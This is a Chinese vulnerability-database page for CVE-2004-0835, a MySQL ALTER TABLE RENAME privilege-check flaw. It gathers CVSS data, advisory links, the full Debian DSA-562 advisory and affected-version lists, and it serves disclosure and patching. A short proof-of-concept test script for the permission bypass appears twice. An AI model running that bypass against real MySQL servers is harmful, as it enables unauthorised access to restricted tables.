CVE-2004-0835
CVSS7.5
发布时间 :2004-11-03 00:00:00
修订时间 :2008-09-10 15:27:59
NMCOEPS    

[原文]MySQL 3.x before 3.23.59, 4.x before 4.0.19, 4.1.x before 4.1.2, and 5.x before 5.0.1, checks the CREATE/INSERT rights of the original table instead of the target table in an ALTER TABLE RENAME operation, which could allow attackers to conduct unauthorized activities.


[CNNVD]MySQL验证用户受限表单访问漏洞(CNNVD-200411-014)

        
        MySQL是一款开放源代码数据库系统。
        MySQL的对'alter table [...] rename [...]'命令没有正确检查目标表的权限,远程攻击者可以利用这个漏洞访问受限制表单。
        Oleksandr Byelkin在5月份报告'alter table [...] rename [...]'命令可以使用旧表代替新表来检查的建立/插入权限,结果可导致用户访问其他受限制的表单。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:mysql:mysql:4.0.21MySQL MySQL 4.0.21
cpe:/a:mysql:mysql:3.23.59MySQL MySQL 3.23.59

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0835
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0835
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200411-014
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/17666
(VENDOR_ADVISORY)  XF  mysql-alter-restriction-bypass(17666)
http://www.securityfocus.com/bid/11357
(VENDOR_ADVISORY)  BID  11357
http://www.redhat.com/support/errata/RHSA-2004-611.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2004:611
http://www.redhat.com/support/errata/RHSA-2004-597.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2004:597
http://www.gentoo.org/security/en/glsa/glsa-200410-22.xml
(VENDOR_ADVISORY)  GENTOO  GLSA-200410-22
http://www.debian.org/security/2004/dsa-562
(PATCH)  DEBIAN  DSA-562
http://secunia.com/advisories/12783/
(VENDOR_ADVISORY)  SECUNIA  12783
http://www.trustix.org/errata/2004/0054/
(VENDOR_ADVISORY)  TRUSTIX  2004-0054
http://www.ciac.org/ciac/bulletins/p-018.shtml
(UNKNOWN)  CIAC  P-018
http://securitytracker.com/id?1011606
(UNKNOWN)  SECTRACK  1011606
http://lists.mysql.com/internals/13073
(VENDOR_ADVISORY)  MISC  http://lists.mysql.com/internals/13073
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000892
(UNKNOWN)  CONECTIVA  CLA-2004:892
http://bugs.mysql.com/bug.php?id=3270
(UNKNOWN)  MISC  http://bugs.mysql.com/bug.php?id=3270
http://www.mysql.org/doc/refman/4.1/en/news-4-1-2.html
(UNKNOWN)  CONFIRM  http://www.mysql.org/doc/refman/4.1/en/news-4-1-2.html
http://www.mysql.org/doc/refman/4.1/en/news-4-0-19.html
(UNKNOWN)  CONFIRM  http://www.mysql.org/doc/refman/4.1/en/news-4-0-19.html
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101864-1
(UNKNOWN)  SUNALERT  101864

- 漏洞信息

MySQL验证用户受限表单访问漏洞
高危 设计错误
2004-11-03 00:00:00 2006-03-28 00:00:00
本地  
        
        MySQL是一款开放源代码数据库系统。
        MySQL的对'alter table [...] rename [...]'命令没有正确检查目标表的权限,远程攻击者可以利用这个漏洞访问受限制表单。
        Oleksandr Byelkin在5月份报告'alter table [...] rename [...]'命令可以使用旧表代替新表来检查的建立/插入权限,结果可导致用户访问其他受限制的表单。
        

- 公告与补丁

        厂商补丁:
        MySQL AB
        --------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://www.mysql.com/doc/en/Installing_source_tree.html

- 漏洞信息 (24669)

MySQL 3.x/4.x ALTER TABLE/RENAME Forces Old Permission Checks (EDBID:24669)
linux remote
2004-10-08 Verified
0 Oleksandr Byelkin
N/A [点击下载]
source: http://www.securityfocus.com/bid/11357/info

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application. 

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations. 

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION. 

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

drop database if exists mysqltest; 
connect (root,localhost,root,,test,0,mysql-master.sock); 
connection root; 
--disable_warnings 
create database if not exists mysqltest; 
--enable_warnings 
create table mysqltest.t1 (a int,b int,c int); 
grant all on mysqltest.t1 to mysqltest_1@localhost; 
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock); 
connection user1; 
alter table t1 rename t2;		

- 漏洞信息 (F34632)

dsa-562.txt (PacketStormID:F34632)
2004-10-13 00:00:00
Lukasz Wojtow,Oleksandr Byelkin,Dean Ellis  debian.org
advisory,denial of service,overflow
linux,unix,debian
CVE-2004-0835,CVE-2004-0836,CVE-2004-0837
[点击下载]

Debian Security Advisory DSA 562-1 - Several problems have been discovered in MySQL, a commonly used SQL database on Unix servers, including a denial of service and buffer overrun vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 562-1                     security@debian.org
http://www.debian.org/security/                             Martin Schulze
October 11th, 2004                      http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : mysql
Vulnerability  : several vulnerabilities
Problem-Type   : remote
Debian-specific: no
CVE ID         : CAN-2004-0835 CAN-2004-0836 CAN-2004-0837 

Severl problems have been discovered in MySQL, a commonly used SQL
database on Unix servers.  The following problems have been identified
by the Common Vulnerabilities and Exposures Project:

CAN-2004-0835

    Oleksandr Byelkin noticed that ALTER TABLE ... RENAME checks
    CREATE/INSERT rights of the old table instead of the new one.

CAN-2004-0836

    Lukasz Wojtow noticed a buffer overrun in the mysql_real_connect
    function.

CAN-2004-0837

    Dean Ellis noticed that multiple threads ALTERing the same (or
    different) MERGE tables to change the UNION can cause the server
    to crash or stall.

For the stable distribution (woody) these problems have been fixed in
version 3.23.49-8.8.

For the unstable distribution (sid) these problems have been fixed in
version 4.0.21-1.

We recommend that you upgrade your mysql and related packages and
restart services linking against them (e.g. Apache/PHP).


Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/m/mysql/mysql_3.23.49-8.8.dsc
      Size/MD5 checksum:      883 adab4c7e7fcde533254e37d99f8d832b
    http://security.debian.org/pool/updates/main/m/mysql/mysql_3.23.49-8.8.diff.gz
      Size/MD5 checksum:    66315 d376044fa0d6f8a501993ab02abc4a6b
    http://security.debian.org/pool/updates/main/m/mysql/mysql_3.23.49.orig.tar.gz
      Size/MD5 checksum: 11861035 a2820d81997779a9fdf1f4b3c321564a

  Architecture independent components:

    http://security.debian.org/pool/updates/main/m/mysql/mysql-common_3.23.49-8.8_all.deb
      Size/MD5 checksum:    17262 2e5ebe0702d91a53ec449146b01a573a
    http://security.debian.org/pool/updates/main/m/mysql/mysql-doc_3.23.49-8.5_all.deb
      Size/MD5 checksum:  1962992 a4cacebaadf9d5988da0ed1a336b48e6

  Alpha architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_alpha.deb
      Size/MD5 checksum:   278096 4ac1bf890f801a32a87b9e304da35f41
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_alpha.deb
      Size/MD5 checksum:   779166 2efba3f9821343f3863c8927352bd4b9
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_alpha.deb
      Size/MD5 checksum:   163880 643c6c339b4d2dc131beff973cbbe7e2
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_alpha.deb
      Size/MD5 checksum:  3634956 cd912ffbb52a4f58a5a2b98ec8526815

  ARM architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_arm.deb
      Size/MD5 checksum:   238696 1a96397e60328bc6f889660d94468261
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_arm.deb
      Size/MD5 checksum:   635036 41cbebd5050bf90fc1bed870310dc102
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_arm.deb
      Size/MD5 checksum:   124314 4ad3587a1423e1302f30a7c24e443dcf
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_arm.deb
      Size/MD5 checksum:  2806658 bd143a0f5e7bac001d8870f69ebe7d69

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_i386.deb
      Size/MD5 checksum:   235078 5ec7d023107015d11d0168e728864ef8
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_i386.deb
      Size/MD5 checksum:   576912 3672d903045723481241a8aa2c6adf49
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_i386.deb
      Size/MD5 checksum:   122896 c3bb667905a98b2fe0c1cbc3358ae3db
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_i386.deb
      Size/MD5 checksum:  2800926 710ec1b9eeb3af57db869dffe1b4f515

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_ia64.deb
      Size/MD5 checksum:   315430 c6dd5c44f2e15a67d54c07a15fb00beb
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_ia64.deb
      Size/MD5 checksum:   848868 cda6ede74af0cc7533583d123c3d8a91
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_ia64.deb
      Size/MD5 checksum:   174122 d83187efff448d4e251ac2601b4c9a73
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_ia64.deb
      Size/MD5 checksum:  4000236 3ce854b000b84f2bfcc7d3dcf171b82e

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_hppa.deb
      Size/MD5 checksum:   281034 268ecb759196f6abf4ea1883d9e4171b
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_hppa.deb
      Size/MD5 checksum:   744094 b20cd387dfc81a790bbee7c850c58240
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_hppa.deb
      Size/MD5 checksum:   140948 d738b053864f5a589b57c02c9eaa96e2
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_hppa.deb
      Size/MD5 checksum:  3514870 245a10f9e60311d363cbec4de95f32b8

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_m68k.deb
      Size/MD5 checksum:   228104 ba7e5cf2deb86b3b44377e8885063944
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_m68k.deb
      Size/MD5 checksum:   558120 6dc1ad3096fd0ada76ae9175ab461ba6
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_m68k.deb
      Size/MD5 checksum:   118758 96054fb6609cdb0d4c8e93a04d7d433d
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_m68k.deb
      Size/MD5 checksum:  2646786 c62a9ae47d6bca54440ef3a0096aba80

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_mips.deb
      Size/MD5 checksum:   251310 f9dac0e4197eccd211125f8e3edfd162
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_mips.deb
      Size/MD5 checksum:   689316 b2bb4838a961655527d2f8505ff3ec47
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_mips.deb
      Size/MD5 checksum:   134238 2e5f11a0c081b3c2cdc25761cabfba51
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_mips.deb
      Size/MD5 checksum:  2848592 ce156e918b0639de9413ad9b251b8e90

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_mipsel.deb
      Size/MD5 checksum:   250972 de4eb2f6ef3d26e90787a159d4b6a0ac
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_mipsel.deb
      Size/MD5 checksum:   688696 04bfb0883f8b2b4c55e7433120c99f61
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_mipsel.deb
      Size/MD5 checksum:   134574 1230a8e666f5196d4bf612de12c313fc
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_mipsel.deb
      Size/MD5 checksum:  2839476 55da45664aaedc7c376c2e5c58131633

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_powerpc.deb
      Size/MD5 checksum:   248122 cba1d3545afe87dcfc547849c9d59004
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_powerpc.deb
      Size/MD5 checksum:   653066 acdaf15ae0dfcced6c54159b56344030
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_powerpc.deb
      Size/MD5 checksum:   129780 c5fd168e75eff53b9289004674562272
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_powerpc.deb
      Size/MD5 checksum:  2823500 cec9d6704902e7ffe51a99aea1845abc

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_s390.deb
      Size/MD5 checksum:   250416 c0426b03788856721ca9f3c1564b250a
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_s390.deb
      Size/MD5 checksum:   607570 6d9902585915e0cacf4d0a9ebd65ef8c
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_s390.deb
      Size/MD5 checksum:   126768 b543d42acfdc0332d7ecf3e64092a3bb
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_s390.deb
      Size/MD5 checksum:  2691372 1700e8f3756d329a8b991dff82487154

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10_3.23.49-8.8_sparc.deb
      Size/MD5 checksum:   241594 a7d17678a6703ba32a9cccc677db7034
    http://security.debian.org/pool/updates/main/m/mysql/libmysqlclient10-dev_3.23.49-8.8_sparc.deb
      Size/MD5 checksum:   616052 28c7e496d23b2af7cbdcc690e03b7d2e
    http://security.debian.org/pool/updates/main/m/mysql/mysql-client_3.23.49-8.8_sparc.deb
      Size/MD5 checksum:   130728 c3be609ef840dd09a5c57e62728d2ad6
    http://security.debian.org/pool/updates/main/m/mysql/mysql-server_3.23.49-8.8_sparc.deb
      Size/MD5 checksum:  2940040 c7e6aa60fa9772963bb2541d3a30336f


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFBalFCW5ql+IAeqTIRAhHbAJ40jw3DMmfCWCjYe0lbJQ6qFbtPxwCffWhu
eg6U24PcRQPyKYWtvIG1OBU=
=VQFu
-----END PGP SIGNATURE-----

    

- 漏洞信息

10660
MySQL ALTER TABLE/RENAME Forces Old Permission Checks
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Vendor Verified

- 漏洞描述

MySQL ALTER TABLE/RENAME contains a flaw that may allow a malicious user to force old permission checks. The issue is triggered when an error in ALTER TABLE/RENAME operation forces old permission checks on tables. It is possible that the flaw may allow an attacker to bypass permissions resulting in a loss of confidentiality and/or integrity.

- 时间线

2004-10-11 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 3.23.59, 4.0.19, 4.1.2, 5.0.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

MySQL Multiple Local Vulnerabilities
Design Error 11357
No Yes
2004-10-11 12:00:00 2007-02-16 12:37:00
These issues were disclosed by Oleksandr Byelkin and Dean Ellis.

- 受影响的程序版本

Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
Trustix Secure Linux 2.1
Trustix Secure Linux 2.0
Trustix Secure Linux 1.5
Trustix Secure Enterprise Linux 2.0
Sun Solaris 10.0_x86
Sun Solaris 10
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
S.u.S.E. Linux 8.1
S.u.S.E. Linux 8.0
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux ES 3
RedHat Desktop 3.0
Red Hat Fedora Core1
Red Hat Enterprise Linux AS 3
OpenPKG OpenPKG 2.2
OpenPKG OpenPKG 2.1
OpenPKG OpenPKG Current
MySQL AB MySQL 5.0 .0-alpha
MySQL AB MySQL 5.0 .0-0
MySQL AB MySQL 4.1.1
MySQL AB MySQL 4.1 .11
MySQL AB MySQL 4.0.18
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ Mandriva Linux Mandrake 10.0 AMD64
+ Mandriva Linux Mandrake 10.0
MySQL AB MySQL 4.0.17
MySQL AB MySQL 4.0.15
MySQL AB MySQL 4.0.14
MySQL AB MySQL 4.0.13
MySQL AB MySQL 4.0.12
MySQL AB MySQL 4.0.11 -gamma
MySQL AB MySQL 4.0.11
+ Mandriva Linux Mandrake 9.1 ppc
+ Mandriva Linux Mandrake 9.1
MySQL AB MySQL 4.0.10
MySQL AB MySQL 4.0.1
MySQL AB MySQL 4.0 .0
MySQL AB MySQL 3.23.58
+ Conectiva Linux 9.0
+ Red Hat Enterprise Linux AS 2.1
+ Red Hat Fedora Core2
+ RedHat Enterprise Linux ES 2.1
+ RedHat Enterprise Linux WS 2.1
+ RedHat Linux Advanced Work Station 2.1
+ Sun Linux 5.0.7
+ Sun Linux 5.0.6
+ Sun Linux 5.0.5
+ Sun Linux 5.0.3
+ Sun Linux 5.0
+ Turbolinux Appliance Server 1.0 Workgroup Edition
+ Turbolinux Appliance Server 1.0 Hosting Edition
+ Turbolinux Appliance Server Hosting Edition 1.0
+ Turbolinux Appliance Server Workgroup Edition 1.0
+ Turbolinux Home
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Workstation 8.0
MySQL AB MySQL 3.23.56
MySQL AB MySQL 3.23.55
MySQL AB MySQL 3.23.54 a
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG Current
+ RedHat Linux 9.0 i386
MySQL AB MySQL 3.23.54
+ Sun Cobalt RaQ 550
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.53 a
MySQL AB MySQL 3.23.53
+ OpenPKG OpenPKG Current
+ Sun Cobalt Qube 3
MySQL AB MySQL 3.23.52
+ Conectiva Linux Enterprise Edition 1.0
+ Mandriva Linux Mandrake 9.0
+ OpenPKG OpenPKG 1.1
+ RedHat Linux 8.0 i386
+ RedHat Linux 8.0
+ S.u.S.E. Linux 8.1
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.51
MySQL AB MySQL 3.23.50
MySQL AB MySQL 3.23.49
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ RedHat Linux 7.3 i686
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
MySQL AB MySQL 3.23.48
MySQL AB MySQL 3.23.47
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
MySQL AB MySQL 3.23.46
+ Conectiva Linux 8.0
+ OpenPKG OpenPKG 1.0
MySQL AB MySQL 3.23.45
MySQL AB MySQL 3.23.44
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.3
MySQL AB MySQL 3.23.43
MySQL AB MySQL 3.23.42
MySQL AB MySQL 3.23.41
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 alpha
+ RedHat Linux 7.2
MySQL AB MySQL 3.23.40
MySQL AB MySQL 3.23.39
+ HP SCM 3.0
MySQL AB MySQL 3.23.38
MySQL AB MySQL 3.23.37
MySQL AB MySQL 3.23.36
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ EnGarde Secure Linux 1.0.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i686
+ RedHat Linux 7.1 i586
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1
MySQL AB MySQL 3.23.34
- Debian Linux 2.2 sparc
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 arm
- Debian Linux 2.2 alpha
- Debian Linux 2.2 68k
- Debian Linux 2.2
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 3.5.1
- HP HP-UX 11.11
- HP HP-UX 11.0
- IBM AIX 4.3.3
- IBM AIX 4.3.2
- Mandriva Linux Mandrake 7.2
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- OpenBSD OpenBSD 2.8
- OpenBSD OpenBSD 2.7
- OpenBSD OpenBSD 2.6
- RedHat Linux 7.0 i386
- RedHat Linux 7.0 alpha
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- RedHat Linux 5.2 sparc
- RedHat Linux 5.2 i386
- RedHat Linux 5.2 alpha
- S.u.S.E. Linux 7.1
- S.u.S.E. Linux 7.0
- S.u.S.E. Linux 6.4
- Sun Solaris 8_x86
- Sun Solaris 8_sparc
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
- Sun Solaris 2.6_x86
- Sun Solaris 2.6
MySQL AB MySQL 3.23.33
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ S.u.S.E. Linux 7.1
MySQL AB MySQL 3.23.32
+ Wirex Immunix OS 7+
MySQL AB MySQL 3.23.31
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 7.2
MySQL AB MySQL 3.23.30
MySQL AB MySQL 3.23.29
MySQL AB MySQL 3.23.28 gamma
MySQL AB MySQL 3.23.28
MySQL AB MySQL 3.23.27
MySQL AB MySQL 3.23.26
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.1
MySQL AB MySQL 3.23.25
MySQL AB MySQL 3.23.23
MySQL AB MySQL 3.23.22
+ RedHat Linux 7.0 sparc
+ RedHat Linux 7.0 alpha
+ RedHat Linux 7.0
MySQL AB MySQL 3.23.10
MySQL AB MySQL 3.23.9
MySQL AB MySQL 3.23.8
MySQL AB MySQL 3.23.5
+ MandrakeSoft Corporate Server 2.1 x86_64
+ MandrakeSoft Corporate Server 2.1
+ Trustix Secure Linux 1.5
MySQL AB MySQL 3.23.4
MySQL AB MySQL 3.23.3
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
MySQL AB MySQL 3.23.2
MySQL AB MySQL 4.1.0.0-alpha
MySQL AB MySQL 4.1.0-0
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
Conectiva Linux 10.0
Conectiva Linux 9.0
MySQL AB MySQL 5.0.1
MySQL AB MySQL 4.1.2
MySQL AB MySQL 4.0.19
MySQL AB MySQL 3.23.59

- 不受影响的程序版本

MySQL AB MySQL 5.0.1
MySQL AB MySQL 4.1.2
MySQL AB MySQL 4.0.19
MySQL AB MySQL 3.23.59

- 漏洞讨论

MySQL is reported prone to multiple local vulnerabilities. Exploiting these issues may allow an attacker to bypass security restrictions or cause a denial-of-service condition in the application.

Rportedly, an attacker can bypass certain security restrictions and gain access to and corrupt potentially sensitive data due to an error in 'ALTER TABLE ... RENAME' operations.

A denial-of-service condition occurs when multiple threads ALTER MERGE tables to change the UNION.

Due to a lack of details, further information is not available at the moment. This BID will be updated as more information becomes available.

- 漏洞利用

The following proof-of-concept example is available:

Security-restrictions bypass:

drop database if exists mysqltest;
connect (root,localhost,root,,test,0,mysql-master.sock);
connection root;
--disable_warnings
create database if not exists mysqltest;
--enable_warnings
create table mysqltest.t1 (a int,b int,c int);
grant all on mysqltest.t1 to mysqltest_1@localhost;
connect (user1,localhost,mysqltest_1,,mysqltest,0,mysql-master.sock);
connection user1;
alter table t1 rename t2;

- 解决方案

Reportedly, MySQL versions 3.23.59 and 4.0.21 are not affected by these issues. Please contact the vendor for details.

Please see the references for more information.


Sun Solaris 10

Sun Solaris 10.0_x86

MySQL AB MySQL 3.23.49

MySQL AB MySQL 3.23.52

MySQL AB MySQL 3.23.54 a

MySQL AB MySQL 3.23.56

MySQL AB MySQL 3.23.58

MySQL AB MySQL 4.0.18

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站